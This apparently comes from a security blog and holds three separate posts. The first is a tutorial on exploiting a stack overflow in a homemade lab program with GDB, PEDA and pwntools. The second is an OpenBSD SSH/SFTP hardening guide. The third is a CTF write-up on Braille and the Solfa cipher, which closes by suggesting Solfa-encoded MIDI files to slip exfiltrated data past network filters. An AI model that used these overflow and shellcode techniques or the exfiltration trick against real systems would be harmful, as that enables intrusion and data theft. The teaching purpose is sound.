Introduction

In a previous post, we studied how to fuzz a simple homemade 64-bit program using AFL. We found that we could cause a segmentation fault in the target using some specific inputs. In this post (and in this video), we will cover the next step: confirming if the crash can lead to a vulnerability. To do so, we’ll use GDB, the GNU debugger, and PEDA to analyze the execution of the target while processing the inputs previously generated by AFL. By doing so, we will find a way to hijack the execution flow from the Vuln1 program in order to execute our own code.

Analyzing and Exploiting Vuln1

The hard part is now about to start, as we need to delve into to assembly code of the target, analyze the values of the registers and understand how they are related to the input. Fortunately, this step is greatly eased with the introduction of tools such as peda and pwntools. Let’s install these right now. To install gdb-peda, simply run this shell script provided by the developers:

Installing GDB-PEDA (Shell)

Shell

1

2

3

git clonehttps://github.com/longld/peda.git~/peda

echo"source ~/peda/peda.py">>~/.gdbinit

echo"DONE! debug your program with gdb and enjoy"

Then install pwntools using pip with
sudo-Hpip install pwntools . Once done, we are set to start analyzing the crash.

PEDA will automatically load whenever you start GDB. Before we start, it’s essential to understand some details about GDB, namely that it uses environment variables and hooks within the code of the debugged program. Why is this important? Exploits can heavily depend on knowing some specific memory addresses within the program itself. These locations within the code will vary depending on the defined environment variables and any additional instruction added by GDB. You must be aware that many Linux distributions are enabling Address space layout randomization (ASLR) by default. ASLR will defeat the exploit developed in this tutorial and must be disabled by editing the
/proc/sys/kernel/randomize_va_space file. This file can contain one of the following values:

2 – Full randomization. In addition to elements listed in the previous point, memory managed through brk() is also randomized.

For the purposes of this exercise, set the value contained in this file to
. You can see the impact of disabling ASLR has on our experiment in this companion video of this post.

That being said, let’s start gdb with the vuln1 program by typing
gdb./vuln1at the shell. Doing so will load the vuln1 program within the debugging process, but will not execute it until you execute the
run command, or
r for short. Once you do so, you will see that you are prompted to enter the username and password just as when you are executing the program from the shell. If you type in regular strings, the program will execute as expected and terminate. Quite uneventful. Let’s try something more interesting: execute the program with the inputs generated by AFL. Assuming you have the inputs in a file called crash1.txt, type
r<crash1.txt to start the program using the AFL inputs. This time, you’ll notice that the execution ends with a Segmentation Fault (SIGSEGV) and quite a few things are displayed in your terminal.

Figure 1: Running the vuln1 program in GDB with the fuzzed input generated by AFL.

Let’s take a closer look to the information on the screen. When the fault was caught by the debugger, it stopped the execution of vuln1. At that point, PEDA captured the current state of the application, including values of the registers, the program stack and the instruction which resulted in the fault. In this case, after reviewing the data, you should notice the value pointed by the RSP register.

Figure 2: Value of the RSP register when vuln1 is ran with AFL-generated inputs.

If we take a closer look into our input using the
hexdump–Ccrash1.txt command. We’ll notice a familiar pattern:

Hexadecimal View of the Contents of Crash1.txt

Assembly (x86)

1

2

3

4

5

6

7

8

00000007772746f5c6c0000e8035b896f8ec874

00000107fe8a796a7a700fafa0010e88e72746f

0000020e8c8966fa7a7<strong>00a761b461616161a761</strong>

0000030a7a7a7a7a7a7a7a7a7a7a7a7a7a7b4a7

0000040966fa795a7a700003333203333333333

000005033333333333333333333a7a7a7a70000

0000060e80372747f6f7274b400616161616161

00000706161

Notice the various
a761b461616161a761 values. Well it seems that these bytes somehow ended up being pointed by the RSP register. There’s an easy way to confirm this using PEDA using its pattern generator, but first we need to know how long our input is:

Number of bytes in file using WC

Shell

1

2

ReSyst>>wc-ccrash1.txt

114crash1.txt

The
wc command tells us that there is 114 bytes in the crash1.txt file, so let’s round this up to 120 bytes for simplicity. Going back to GDB, will use PEDA to generate a cyclic pattern of 120 characters as input using the following command:

Cyclic pattern creation with GDB-PEDA

Shell

1

gdb-peda>pattern_create120pat120

This will create a file named pat120 with the generated cyclic pattern. If you take a quick look at it, you’ll have an idea of how it looks. For those who used Metasploit before, this functionality is similar to the pattern_create.rb script.

Once again, a segmentation fault is thrown by vuln1 and caught by GDB, however this time the values on the stack are different. The value being pointed to by RSP is also different. Looking back at our pattern, we clearly see that our input is overwriting whatever value is pointed by the RSP register.

Figure 3: The RSP register is pointing to the cyclic pattern generated at address 0x7fffffffdec8.

Why is this important? Well because the value pointed by this register will eventually be used as a return address once we hit the RET instruction at main+149. Therefore we can put a specific address in RSP and redirect execution flow to a location we control in memory and execute our own code. First thing we need to figure out is: which bytes of our input are being pointed by RSP? Again, PEDA provides an easy way to do so using the
pattern_search command. This function will provide you with information about where the pattern is detected in memory and in the registers:

In the output above, the value pointed by RSP is overwritten after reading 40 bytes of the given input. Which means that any 8-byte combination (32 bits) located at position 40 will end up being pointed to by the RSP register and eventually, loaded into RIP and used as the address of the next instruction to execute once we reach the RET instruction. Let’s test this by creating a really simple payload that will fill the RSP with “B”s. We do so by generating 40 “A”, then 8 “B” and 112 “C”s. We can use the printf command from the Bash shell, or you can also do the same in Python or Perl. We will use Bash here:

Quick Prototyping of an Exploit for Vuln1

Shell

1

2

3

printf"%0.sA"{1..40}>test

printf"%0.sB"{1..8}>>test

printf"%0.sC"{1..112}>>test

Restart vuln1 by providing input2 as input and take a look at the value of the RIP register:

Figure 4: The RIP register didn’t take the address stored in RSP.

Something didn’t go the way we expected. We should have RSP pointing to 0x4242424242424242 (‘BBBBBBBB’), but that’s not the case and the reason for this is that we’re trying to fill RIP with an invalid 64-bit address, which causes a segmentation fault. Despite being able to address 64 bits, current processors actually only support 48 bits, so the upper two bytes should always be null, i.e. 00 00. Knowing this, we’ll modify slightly our payload to include 6x “B” rather than 8.

A Modified PoC Payload Generating Script

Python

1

2

3

4

printf"%0.sA"{1..40}>test2

printf"%0.sB"{1..6}>>test2

printf"%0.s\0"{1..2}>>test2

printf"%0.sC"{1..112}>>test2

Note that we are in little endian and therefore, we will write the 2 null bytes AFTER the 6 “B”s. And if we try again, we should be more successful:

We still get a segmentation fault, but this time, it’s because we are trying to reach an invalid address. We now proven that we can take control of the RIP register and redirect execution flow. We also know that we can put our own code within the input given to the vuln1 application, and it will be stored on the stack, which we made executable for the purpose of this exercise. The next step is to actually develop our exploit.

Crafting the Shellcode

Now that we have demonstrated the vulnerability, we need to decide what kind of payload we want. We’ll also determine where our shellcode is stored and then test our payload. This is the trickiest part of software exploitation as many variables comes into play. The addresses obtained in this post will differ from system system and yours will likely be different as well.

To generate our payload, we will use pwntools, a Python module extremely efficient at prototyping workable exploits. You will often find it used by participants of CTF. First install the Pwntools module using
pip install pwn. Afterwards, open a Python interpreter such as ipython and import the Pwn-tools module with from
pwn import*.

We’ll use the shellcraft sub-module, which offers a wide selection of payloads for multiple architectures. To output the shellcode, simply select the appropriate function from the shellcraft module. for the target architecture and operating system, i.e. ‘amd64’ and ‘linux’. You can obtain more information by using
help(shellcraft) in a Python interpreter. You can also combine multiple payloads. Prior to using any of the shellcode, make sure to specify the architect by setting the
context object adequately:

Innocuous Payload Generation in Pwntools

Python

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

[ReSyst]Py>>>context.arch='amd64'

[ReSyst]Py>>>context.os='linux'

[ReSyst]Py>>>print(shellcraft.echo("Hello!\n")+shellcraft.exit())

/*push'Hello!'*/

mov rax,0x101010101010101

push rax

mov rax,0x101010101010101^0x216f6c6c6548

xor[rsp],rax

/*call write('1','rsp',6)*/

push(SYS_write)/*1*/

pop rax

push(1)/*1*/

pop rdi

push6

pop rdx

mov rsi,rsp

syscall

/*call exit()*/

push(SYS_exit)/*0x3c*/

pop rax

For the purpose of this post, we’ll use a lame shellcode that will simply output “Hello!” and exit cleanly. In future posts, we’ll have more useful payloads. We’ll structure our payload as follow:

Figure 5: Basic payload structure for the Vuln1 exploit.

The first 40 bytes are simply used to fill the initial buffers and variables to reach the value pointed by RSP. While we used ‘NOP‘ instructions, any value could be used. Bytes 40 to 48 will store the address to our shellcode, which follows it immediately. Our shellcode will occupy the last 112 bytes if it fits that space:

Since our payload is 44 bytes – less than 112 bytes – it will easily fit in the space we have after the address, i.e in the “C” segment of the payload. Had it been greater than 112 bytes, we would have to split it. But let’s stick to the basics for now.

Jump Around

Next, we have to determine the address of our shellcode, i.e. where is our shellcode is located on the stack? Looking back at figure 4, our place holder of the address (i.e. “BBBBBB”) is at 0x7fffffffdec8. The length of the address is 8 bytes and thus our shellcode will start at 0x7fffffffdec8+8:

Figure 6: Detailed structure of the Vuln1 payload.

Notice that we added a NOP sled after the address. Although not strictly needed, doing so will gives us some leeway for error, especially when testing our payload outside GDB as you will see later. Now let’s craft a quick python function to create our payload and store it into a file. This will automate testing and make things much faster.

This line,
struct.pack("<Q",addr) will store the address of our shellcode on our payload in little-endian format. The Q is used to specify to the pack function that we are storing the address as a
unsigned longlong . See the related Python docs for more information about using
struct

Start GDB again, make sure you have a breakpoint at the RET instruction, so we can follow the execution of our shell code. If you look back at previous runs, you’ll notice that our RET instruction is located at main+149. To put a breakpoint to this address, simply type
b*main+149 in GDB. This will cause the execution to pause at this address. Once paused, type
nexti and you’ll notice that we are jumping into our short NOP sled.

If you’d like to see the assembly translation of opcodes at a specific address, use the
pdisass . For example, use
pdisass0x7fffffffded0 and you should see the instructions listed below.

You can move forward faster thru each of the instructions by using
nexti<count> or just type
continue or
c to continue execution. If everything goes well, the program will output “Hello!” and exit without any error:

We now have a working exploit in GDB…admittedly not a terribly useful one. However if you try to launch this shellcode directly from the command-line, you’ll notice that you will get a Segmentation Fault warning:

Failed Exploitation of Vuln1

Shell

1

2

3

4

5

6

ReSyst>>./vuln1<./v_pload

Login:

Password:

Access Denied.

Segmentation fault(core dumped)

ReSyst>>

As mentioned at the beginning, This is due to GDB adding environment variables on the stack when loading the Vuln1 program. You compare the environment variables between your shell and GDB by typing
env at the shell and using
show env at the GDB prompt. You’ll notice that GDB adds the “LINES” and “COLUMNS” variables. Also notice that different systems will have different variables defined, adding to the instability of our exploit. To prevent environment variables from interfering with our exploit, we will unset all of them in GDB by using the
unset env command. When running our target from the shell, we will prefix it with
env- to unset all variables in the shell. For example:

Starting a program with no Environment Variables

Shell

1

env-./vuln1<crash.txt

To make our exploit work in the shell, we will need to adjust our jumping address. If we rerun our target with a new cyclic pattern without the environment variables, we obtain a different address:

In our first attempt with the environment variables, RSP contained the address 0x7fffffffdec8, this time RSP has 0x7fffffffed18 as value. Adjust this value in the script provided above and try again.

Despite our best efforts, we still can’t exploit from the shell, but we are getting closer. At this point, there is no trick to getting it right but only trial and error. GDB may be adding extra instructions in the code for debugging purposes and still making our jump invalid. There are 2 variables you can adjust to guess to fix the issue:

Gradually increase the jump address; and

Increase the size of the NOP sled preceding the shellcode.

In my case, the exploit finally worked by increasing the jump address by 140 bytes and increasing the NOP sled to 80 bytes. Below is the update Python script used. Note that these values will be different based on your system:

Conclusion

Crafting exploit is a mixture of technology and art. While there is a process and a methodology to go about it, there’s always something different that will require additional research, experimenting and tweaking. Even then, your exploit is not guaranteed 100%, given the multiple variables that can affect offsets or memory locations. Practice and experience will take care of honing these skills. This post is a very timid first step and has many failings: we removed common memory protections, we have include quite a useless exploit and we need to remove environment variables for it to work outside of GDB. We’ll gradually improve the realism of this exercise. However we now understand the overall exploit development process better, along with the various difficulties involved.

Introduction

In this tutorial, we will continue to learn about OpenBSD 6 by setting up a SSH server alongside a SFTP server. As most of you may know, SSH is essential for remote administration. Nowadays, more and more network administration is done remotely and it is more important than ever to properly configure and secure outward facing services. Additionally, we often need to transfer files, either for patches, reuse configuration files or install additional applications, especially if your OpenBSD server is not Internet-accessible. In a later post of this tutorial, we will use a specific form of port knocking to hide the presence of our services to background scans to prevent brute-force and dictionary attacks. However for now, we will setup our SSH and SFTP servers. A companion video is available on YouTube.

Overview

While OpenBSD makes it easy to enable SSH and SFTP, we will do some additional preparation for increased robustness. First we will create the appropriate users and groups and then we will install each of these services within their own chroot directory to limit damage should ever these services get compromised. Once that done, we’ll enable the SSH daemon, including the internal SFTP service, and make sure they are accessible and working properly. Once done, we will customize and harden their configuration. For the purpose of this post, we will assume that you have a fresh install of OpenBSD 6.1 as if you just finished the steps listed in this previous tutorial, i.e. SSHD was NOT enabled during installation.

Creating the Chroot Directories

While optional, enclosing your services in chroot, especially the one exposed to external hosts, is an excellent security practice. Ideally, they should even be on their own partition. To keep the scope of this post on SSH and SFTP, we will simply create a new tree node and setup our chroot containers from there:

Creating the Chroot Directories for SSHD in OpenBSD 6.1

1

2

mkdir-p/chroot/ssh

mkdir/chroot/ftp

We will then install the basic required files from the OpenBSD 6.1 CD to create our chroot. Within the SSH chroot:# mount -t cd9660 /dev/cd0a /mnt

And unarchive the base packages unto our chroot:

Unarchive the OpenBSD System in Chroot Directory

Shell

1

2

3

# tar -xvzf /mnt/6.1/amd64/base61.tgz

# tar -xvzf /mnt/6.1/amd64/comp61.tgz

# tar -xvzf /mnt/6.1/amd64/man61.tgz

In any chroot, we need the
/dev directory to exist and populated with the required sub directory. Fortunately, OpenBSD makes it easy for us to do so using the MAKEDEV script:

Create the /dev directory in Chroot

Shell

1

2

# cd dev

# ./MAKEDEV all

Finally, we will link the shared libraries required by most programs with out chroot and enable our new sandbox:

Link Shared Libraries to the chroot

Shell

1

# chroot /chroot/ssh ldconfig /usr/lib /usr/local/lib

The chroot directory doesn’t require any special action since it doesn’t need to execute any program. The only thing left to do now is to set the ownership and permissions:

Setup Ownership and Permissions on Chroot Directories

Shell

1

2

3

4

# chown root:wheel /chroot/ssh

# chown root:wheel /chroot/ftp

# chmod 755 /chroot/ssh

# chmod 755 /chroot/ftp

Creating the users and groups

This step is optional if you intent to have this server only for your own personal use or a very few selected people. However if you expect your user base to grow and have different permissions, having groups makes it so much easier to manage your server while ensuring tighter controls on permissions. We’ll create 2 groups: ssh-users and ftp-users. Within each of these groups, we will have a single user. We’ll create ssh-user for accessing the SSH service and ftp-user for accessing the SFTP service by using the useradd and groupadd commands:

Adding Users and Groups for SSHD in OpenBSD 6.1

Shell

1

2

3

4

5

6

7

8

9

10

11

12

# groupadd ssh-users

# groupadd ftp-users

# useradd -g ssh-users -d /chroot/ssh/home/ssh-user -m ssh-user

# useradd -g ftp-users -d /chroot/ftp/ -m -s /sbin/nologin ftp-user

# passwd ssh-user

Changing password forssh-user.

NewPassword:

Retype newpassword:

# passwd ftp-user

Changing password forftp-user.

NewPassword:

Retype newpassword:

While adding groups requires no explanation, it is important to note that ftp-user requires some specific parameters. Namely, the shell is set to /sbin/nologin. FTP are not required to use a shell and are limited to the FTP server, which is actually integrated into the SSH daemon.

Setting up SSHD

In many cases, sshd will have been enabled during installation and automatically starts at boot. If you are unsure, you can quickly verify if the sshd is running:

Verify if SSHD is currently running

Shell

1

# ps -A | grep sshd

If there’s no output, then the sshd is not started. Let’s quickly check that SSH works by first enabling and starting the service, and then testing it out. To enable the service, use the rcctlcommand:

And now, lets try to connect to our SSH service using the IPv6 loopback interface using
# ssh root@::1 . After entering your password, you should be greeted in your new shell.

Without much work, you already have a solid SSH server available within minutes with OpenBSD. However, let’s configure it further to our needs. We’ll stop the server for now:

Stop the SSHD with Rcctl in OpenBSD 6.1

Shell

1

# rcctl stop sshd

First configuration items we will change is to disable remote root login and allow users part of the ssh-users group to access SSH. All configuration for the SSH and SFTP services are done thru the /etc/ssh/sshd_config file. Before editing it, you may want to make a backup to your /root directory. We will edit using the vi editor:

Edit the Sshd Config File with VI

1

# vi /etc/ssh/sshd_config

The first change we will make is to prevent the root account from using SSH. We’ll do this by setting the PermitRootLogin option to no. If the line is commented, uncommented it by deleting the ‘#‘:

Set PermitRootLogin to No

Shell

1

PermitRootLogin no

Next we’ll specify SSH to use our specially created chroot sandbox for any SSH connection by adding or setting the following property:

Set the ChrootDirectory for the SSHD

Shell

1

ChrootDirectory/chroot/ssh

And the last thing for now, we’ll allow only users part of the ssh-users and ftp-users groups to use SSH by setting this line in our configuration file:

Update the AllowGroups Options in ssh_config

Shell

1

AllowGroups ssh-users ftp-users

Save you configuration and let’s restart our SSH server using rcctl to confirm these basic settings:

Start the sshd using rcctl

Shell

1

2

# rcctl start sshd

sshd(ok)

First, we should not be allow to login as root anymore. If you try to login as root, you should get denied access:

Attempting to log as root with SSH after disallowed

Shell

1

2

3

4

5

6

7

8

# ssh root@::1

ssh root@::1

root@::1'spassword:

Permission denied,please tryagain.

root@::1'spassword:

Permission denied,please tryagain.

root@::1'spassword:

Permission denied(publickey,password,keyboard-interactive).

Excellent. Now let’s log as ssh-user and confirm we are in our chroot sandbox:

Warning:Permanently added'192.168.9.101'(ECDSA)tothe list of known hosts.

ssh-user@::1'spassword:

Last login:Fri Jun3004:05:032017from::1

ksh:No controlling tty(open/dev/tty:No such fileordirectory)

ksh:warning:won'thave full job control

$pwd

/

$ls

altroot dev home root sys usr

bin etc mnt sbin tmp var

$exit

Connection to::1closed.

Setting up the SFTP Server

Now that we have a basic SSH server running, we’ll configure the basic SFTP server as well. The SFTP server is provided through the SSH daemon and as such, is configured via the sshd_config file as well. This is because SFTP is actually the FTP protocol tunneled through the SSH protocol. As such, the sshd includes a FTP server within itself. To enable SFTP, we simply need to tell sshd to

Stfp configuration in sshd_config

Shell

1

2

3

4

Match Group ftp-users

ForceCommand internal-sftp

ChrootDirectory/chroot/ftp

Banner none

And ask sshd to use the internal-sftp subsystem by modifying the Subsystem sftp option to
Subsystem sftp internal-sftp. Save the file again and restart the SSH server:

Restart the sshd daemon with rcctl

Shell

1

# rcctl restart sshd

And let’s test our SFTP server.

Successful login using sftp

Shell

1

2

3

4

# sftp ftp-user@::1

ftp_user@::1'spassword:

Connected to::1.

sftp>

You may run into a few issues here if something is misconfigured. To help you diagnosed the problem, consult the /var/log/authlog. For example, you encounter this rather cryptic error message when trying to connect to your ftp server:
"Received message too long 1416128883" . This is often caused by the server producing an unexpected output message. In the context of OpenBSD. This may be caused by the banner send by default which is contained in /etc/motd, in which case you need to specify
Banner none in sections relating to the SFTP server.

You may also get disconnected as soon as you attempt to reach your SFTP server, in which case you will get an error message stating:

In this case, OpenBSD is complaining about the permissions set on the SFTP chroot directory. If they are too lax, sshd will simply refuse to allow connections to it. As such, make sure you have the appropriate directory permissions.

At this point, you have a server with SSH and SFTP enabled. You can be stop here if this configuration fills you needs, otherwise we can still customize furthermore the servers.

Additional Settings

For one thing, you may want to disable IPv4 if it’s not needed and allow only IPv6. In your sshd_config file, we will do so by setting the AddressFamily to inet6:

Set AddressFamily to IPv6 Only

Shell

1

# AddressFamily inet6

Another useful customization depending on your line of work is to change the SSH port. In this case, we will change the port to 443, which is usually reserved for HTTPS connections. The reason for that is that if I need to reach back to my server from a network with connection restrictions, local connections to remote hosts via port 443 is usually allows. In other words, if a firewall is blocking outbound connections to port 22, establishing as SSH connections via port 443 will usually be allowed, unless there are protocol restrictions in place. In any case, we can change the port with:

Change Port of SSHD

Shell

1

Port443

Depending on your level of paranoia, we can also tighten some controls relating to connectivity to mitigate brute-force or dictionary attacks:

Connection Settings for SSHD for Paranoiac Admins

1

2

3

4

MaxAuthTries3

LoginGraceTime60s

ClientAliveCountMax3

MaxStartups5:60:10

The MaxStartups property is interesting and warrant further details. From the man page:

it specifies the maximum number of concurrent unauthenticated connections to the SSH daemon. Additional connections will be dropped until authentication succeeds or the LoginGraceTime expires for a connection.

It allows for unauthenticated connections to be denied at random in order to mitigate noisy scanning or DDoS from the Internet. In the example above, we specified the value “5:60:10“, which means that if 5 unauthenticated connections are alive, further unauthenticated connections will be refused with a 60% probability. If 10 unauthenticated connections are established, all further attempts will be denied.

And to further ensure additional security controls, confirm that the following parameters are commented so that the defaults value be used:

Additional Security Parameters for SSH

Shell

1

2

3

4

5

6

# Protocol 2

# PermitEmptyPasswords no

# StrictModes yes

# UsePrivilegeSeparation yes

# X11Forwarding no

# IgnoreRhosts yes

Authentication Modes

Another feature that you may want to customize based on your needs is how you or your users connect to the server. Three modes are usually considered to do so:

PubkeyAuthentication: requires your client to provide a public key in order to connect to your SSH client. If you have a limited number of users which connects from the same location, this is probably the best option. However if you intent to connect to your SSH server from multiple hosts, you would have to bring your public key with you.

PasswordAuthentication and ChallengeResponseAuthentication are very similar in practice. PasswordAuthentication request the client to provide a password via the SSH connection while the ChallengeResponseAuthentication can ask the client one or more question via a TTY. However in most cases, ChallengeResponseAuthentication is configured to ask a password and the only real difference is that the requesting client must type the password rather than providing it via the command line.

For example, the following command would not work with PasswordAuthentication set to “no” and ChallengeResponseAuthentication set to “yes“:

Keyboard-Interactive Fail Example

Shell

1

# echo $PASSWORD | ssh ssh-user@::1

That being said, there are ways to provide SSH password via the command line, such as using the sshpass package. There is therefore little difference between them. In this example, we configure these parameters as follow:

Authentification Parameters for SSHD

Shell

1

2

3

PubkeyAuthentication yes

ChallengeResponseAuthentication no

PasswordAuthentication no

Hashing Known Hosts Files

When a client connects, the SSHD will store information about the client in the known_host file, which is located in ~/.ssh/. This file will contain the hostname of the client, its IP address and its key. This information is stored in plain text. An additional step to make the life of an intruder harder should your server get compromised is to obfuscated the data in this file be hashing its contents.

The listing above shows the contents of the file before hashing it. To tell SSHD to hash newly added data of the known_hosts file, we will add the following the
HashKnownHosts line in ~/.ssh/config.

From now on, all data added will be hashed. Should you need to hash data already residing in this file, use the command below:

Hash Known Hosts using ssh-keygen

Shell

1

ssh-keygen-H-f~/.ssh/known_hosts

We now have a very solid SSH server. You still have to remain vigilant about new vulnerabilities that may pop up for SSHD or one of its component. In the second part of this series, we’ll cloak our SSH server using some form of port knocking. For now, let’s just tweak our SFTP server slightly. Before that, let’s restart our server.

Final Touch on the SFTP server

We previously set our FTP chroot readonly, but we might want to upload some files to it. If we try it right now, we’ll get the following error message:

Failed FTP upload due to permissions

Shell

1

2

3

4

sftp>put tcpdump6.pcap

Uploading tcpdump6.pcapto/tcpdump6.pcap

remote open("/tcpdump6.pcap"):Permission denied

sftp>

We’ll finish this tutorial by adding an upload directory and make it writable to the users of the ftp-users group:

Add an Uploads Directory to the SFTP Chroot

Shell

1

2

3

mkdir/chroot/ftp/uploads

chmod775/chroot/ftp/uploads

chownroot:ftp-users/chroot/ftp/uploads

Conclusion

We’ll conclude this part of the tutorial for now. In this post, we detailed how to enable a SSH server on OpenBSD 6.1. We also enabled SFTP and securely configure each service to increase robustness. That being said, nothing is impossible and vulnerabilities may remain: keys can be stolen or confiscated, misconfiguration of other services may be present or malicious internal users may still abuse the system. If you’re a network admin, make sure logging is enabled and more importantly, that logs are analyze either via software or if you have time, manually. In the next part of this tutorial, we will enable a form of port knocking to hide our SSH service to scanning from external hosts. By doing so, we will prevent detection by roaming threats and prevent or at least greatly limit effectiveness of brute force and dictionary attacks against our server.

Introduction

Between May 19th and 21st, 2017, I’ve participated to the NSEC 17 Capture-the-Flag (CtF) event held annually in Montreal, QC. As usual, the team and I had a blast spending days and nights solving challenges and drinking free beer. Among the challenges was a two-part cryptographic puzzle printed on the first and last pages of the passport of Rao’s Intricate Kingdom – the country part of the story line of the event. The challenge was divided in two parts: a Braille encoded message and the second part was encrypted using the Solfa cipher, which I had never heard of before. As such I decided to learn more about it and complete a write-up for the challenge at the same time. I’ll first quickly cover the Braille part of the challenge, then move on to the Solfa part of it and the decryption process.

The Second Half of the Flag

Upon entrance at the NSEC competition this year, participants received a passport designed to be stamped based on events happening during the CtF. The back of the front cover contains a sequence of dotted symbols which can be recognized quickly as Braille as shown in the figure below:

Figure 1: Braille-encoded message in Rao’s Passport at NSEC’17

As most of you probably know, the Braille writing system was developed for the blind and visually impaired individuals to be able to read using touch. Examples of braille can often be found on elevators. The system is based on a matrix of 3×2 dots which can be blank or filled. Each dot is numbered from 1 to 6 as shown below:

Figure 2: A matrix of the 6 dots representing an individual character Braille

Each character of a natural alphabet can then be associated with a specific matrix configuration. For example, a simple Braille-English translation is shown below:

Figure 3: The Braille Alphabet (linked from pharmabraille.com)

Additional “shortcut” symbols are used for specific sounds, punctuation, symbols and words. The figure below shows some examples of common words in Braille:

Figure 4: Braille for words and abbreviations (from the Tennessee Council of the Blind)

Additional abbreviations can be found in [1]. Going back to the passport, we can obtain the transcription using Unicode:

We then translate into English and obtain the following translation from Braille to English.:

⠠

⠮

⠎

⠑

⠒

⠙

⠓

⠁

⠇

⠋

⠷

⠮

⠋

⠇

⠁

(Cap)

THE

S

E

CON

D

H

A

L

F

OF

THE

F

L

A

⠛

⠊

⠎

⠮

⠘

⠺

⠠

⠏

⠇

⠁

⠞

⠽

⠏

⠥

⠎

G

I

S

THE

(Cap)

P

L

A

T

Y

P

U

S

⠲

⠠

⠁

⠙

⠙

⠭

⠁

⠋

⠮

⠋

⠌

⠓

⠁

⠇

⠋

.

(Cap)

A

D

D

X

A

FTER

THE

F

IRST

H

A

L

F

⠞

⠕

⠕

⠃

⠞

⠁

⠔

⠁

⠉

⠕

⠍

⠏

⠇

⠑

⠞

T

O

O

B

T

A

IN

A

C

O

M

P

L

E

T

⠑

⠋

⠇

⠁

⠛

⠲

⠠

⠛

⠇

⠕

⠗

⠽

⠞

⠕

E

F

L

A

G

.

(Cap)

G

L

O

R

Y

T

O

⠠

⠗

⠁

⠕

(Cap)

R

A

O

Table 1: Resulting message from translating from Braille to English.

Putting everything together, we obtain the first part of the flag included in the passport:

The second half of the flag is the word Platypus. Add x after the first half to obtain a complete flag. Glory to Rao

First Half of the Flag

The second part of the flag is much more obscure and less documented than the first one. The inside of cover page contains a small partition holding a total of 4 staves: the first one appears to be a chord while the last 3 are simply a sequence of notes. We noticed that the first staff contains a treble clef, the label “KEY-997” and is shorter than the other staves. Furthermore it contains the type of notes

Figure 5: Scanned copy of the lullaby on the last page of Rao’s passport.

Clearly, there is something in there, but how do we extract a flag out of this? My knowledge of music theory is extremely low and was basically non-existent prior to this challenge. As such feel free correct me in the comments if I misrepresent a musical concept or term.

The Cipher

Googling for words relating to music and cryptography will return a limited set of relevant sites, the first relating to musical cryptograms, which is not quite was we are looking for at the moment. The second page is about the Solfa Cipher. Once you’ve found the latter website, you’re almost at the solution, but let’s take a better look at it.

The Solfa cipher is a substitution cipher, but rather than using an alphabet to encode keys and cipher text, it uses musical notation. The encryption/decryption key is defined using a clef, a tonic, a mode and a rhythmic unit. The links will provide a much better definition of each different item than I could ever do in this article. However, be aware that the 4 elements mentioned above can have the following values:

Like any symmetric cipher, a key is needed to encrypt the message, which will have to be shared with the intended recipients of the message. In this case, the key is in musical notation rather than a sequence of characters or bytes. The first staff of the page represents the key of the cipher, as the label clearly shows. The encryption key is composed of the four elements mentioned above: a treble clef, in C minor, using 1/8 as the rhythmic unit:

Figure 6: Solfa Cipher Key used in the passport at NSEC ’17: treble key in C minor with a 1/8 rhythm is used.

Each note is linked to a the seven pitches of the solfege, i.e. Do (D), Re (R), Mi (M), Fa (F), Sol (S), La (L) and Si (T). The “KEY-554” is only a randomly generated label and has no significance in the algorithm. With the key known, this puzzle becomes a chain of translations from musical notes to a list of tuple of tones and rhythms using the standard matrix below:

Do (D)

Re (R)

Mi (M)

Fa (F)

So (S)

La (L)

Ti (T)

1:

T

I

A

S

E

N

O

:1

2:

K

Z

X

QØ

J

Å

Æ

:2

3:

R

C

H

M

D

L

U

:3

4:

F

Y

G

P

W

B

V

:4

Table 3: English language translation matrix usually used for the Solfa cipher.

Let’s go through a complete example to better understand the process. Consider the staff below:

Figure 7: The word “SOLFA” encrypted using the Solfa Cipher

In this case, we assume that we are using a 4/4 meter i.e. the length of a single measure. That means that each measure has a duration of 4 units. The key used to generate this melody was in C major, with a clef of Treble and a rhythmic unit of 1/4 (Quarter). The first note is Fa and starts at the first time unit, i.e. 1. Therefore the first note can be translated to (F, 1). The Fa is 4 units long, meaning that the second note, Si, also starts at time 1, translating to (T, 1). However this time, the note is only 2 time units long and thus the third note – Sol – starts at 3 and lasts only 1 time unit. Thus the third node is translated to (S, 3) while the fourth one will be translated to (D, 4). Finally, the last note is a Mi and starts at 1 and thus is translated to (M, 1). Putting everything together we have (F, 1), (T, 1), (S, 3), (D, 4) and (M, 1). Using the matrix above, we obtain (F, 1) = “S”, (T, 1) = “O”, (S, 3) = “L”, (D, 4) = “F” and (M, 1) = “A” and thus the plain text is the word “SOLFA”. This process is better represented in the figure below:

Figure 8: Decryption of the word “SOLFA” by reading the notes and their duration.

Going back to the NSEC challenge, we have a much larger melody to decrypt. Luckily, we have the key and the same process as the one we used to decrypt the cipher text in figure 8 applies.

Figure 9: Solfa-encrypted Message from the Passport in NSEC ’17

Let’s take the first 9 notes listed in the figure above. For each of the note, we first determine its pitch (do, re, mi, …) and then its duration. The key given specify a 1/8 rhythm, as such a Eighth note will be worth 1 time unit, a Quarter note will be worth 2 time units and the half note will be worth 4 time units. Unless specified otherwise, the meter is 4/4, i.e. a measure is 4 time units long.

Figure 10: The first 9 notes of the Solfa-encrypted message and the initial tempo of the melody.

Using the figure above, we can then extract the notes and their time from the partition:

Translated Musical Notes from Passport

1

(d, 1) (m, 3) (s, 1) (d, 4) (r, 1) (d, 3) (f, 1) (d, 1) (m, 3) ...

The note is used as the column and the time as the row to read the corresponding value defined in the translation matrix. We can put a quick script what will read these notes and find the corresponding characters. Using table 3, the notes above will be translated to

d, 1

m, 3

s, 1

d, 4

r, 1

d, 3

m, 4

d, 1

m, 3

T

H

E

F

I

R

S

T

H

Table 4: First 9 characters decrypted from the partition at the back of the passport.

Applying this process to every note in the figure 9, we obtain the following message:

Or with spaces and punctuation added: “The first half of the flag is the word subdermal. Concatenate with the second half to obtain a complete flag. Glory to Rao“. Mixing the 2 halfs of the flag, we get the string “SUBDERMALxPlatypus” and get 5 points out of it.

In case you are wondering what the melody in figure 9 sounds like, you can download the resulting MIDI file here: A Revolutionary Lullaby.

Conclusion

Braille and Solfa are quick and fun ways to encode/encrypt data in unusual ways. While they obviously should not be used for serious application, they could potentially be used as novel ways to exfiltrate data and bypass some filters. For example, a text file could be Base32 encoded and the padding character (“=”) could be replace with the number 1 for example. Then the resulting string could be encrypted using the Solfa cipher, transformed into a MIDI file and then uploaded to a remote location. I highly suspect that most network security appliances would not pick up on MIDI file being uploaded, although it would probably strike a careful analyst as suspicious. Feel free to experiment with it. A partial Python implementation can be found here.

